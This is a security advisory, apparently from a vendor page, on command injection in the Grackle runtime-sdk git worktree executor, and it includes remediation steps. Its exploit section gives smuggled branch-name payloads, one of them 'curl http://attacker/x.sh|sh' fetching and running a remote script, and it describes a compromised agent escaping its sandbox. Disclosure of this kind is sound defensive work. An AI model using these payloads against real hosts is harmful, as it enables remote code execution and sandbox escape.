Summary
Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)
The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.
This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).
Affected versions
@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.
F1, Command injection via shell:true (primary, High)
Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.
NODE_GIT_EXECUTOR.exec runs:
const shell = process.env.SHELL || true; // worktree.ts:24, always truthy
const result = await execRaw("git", args, { ...options, shell });
When shell is truthy, Node does not pass args as a safe argv vector, it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:
["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137
["worktree", "add", wtPath, branch] // fallback :143
sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path, not to the -b <branch> argument, so it provides zero protection at the injection sink.
Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)
The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.
F13, Argument injection: missing -- separator (residual, Low)
Location: packages/runtime-sdk/src/worktree.ts:135-143.
Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited, but it should be hardened alongside F1.
Impact
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Remove
shellfromNODE_GIT_EXECUTOR,execFile('git', args)with the argv array is already safe and is the pattern used inruntime-utils.ts. This is the primary fix. - Add a
--separator before positional refs/paths in bothworktree addinvocations. - Defense in depth: validate
branchat the gRPC boundary (grpc-server.ts) against git ref rules, reject names beginning with-, containing.., or containing shell metacharacters, before it reachesensureWorktree.
Frequently Asked Questions
- What is GHSA-VV65-F55V-XM6G? GHSA-VV65-F55V-XM6G is a high-severity OS command injection vulnerability in @grackle-ai/runtime-sdk (npm), affecting versions <= 0.132.1. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- Which packages are affected by GHSA-VV65-F55V-XM6G?
@grackle-ai/runtime-sdk(npm) (versions <= 0.132.1)@grackle-ai/powerline(npm) (versions <= 0.132.1)
- Is there a fix for GHSA-VV65-F55V-XM6G? No fixed version is listed for GHSA-VV65-F55V-XM6G yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-VV65-F55V-XM6G exploitable, and should I be worried? Whether GHSA-VV65-F55V-XM6G is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-VV65-F55V-XM6G is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-VV65-F55V-XM6G? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.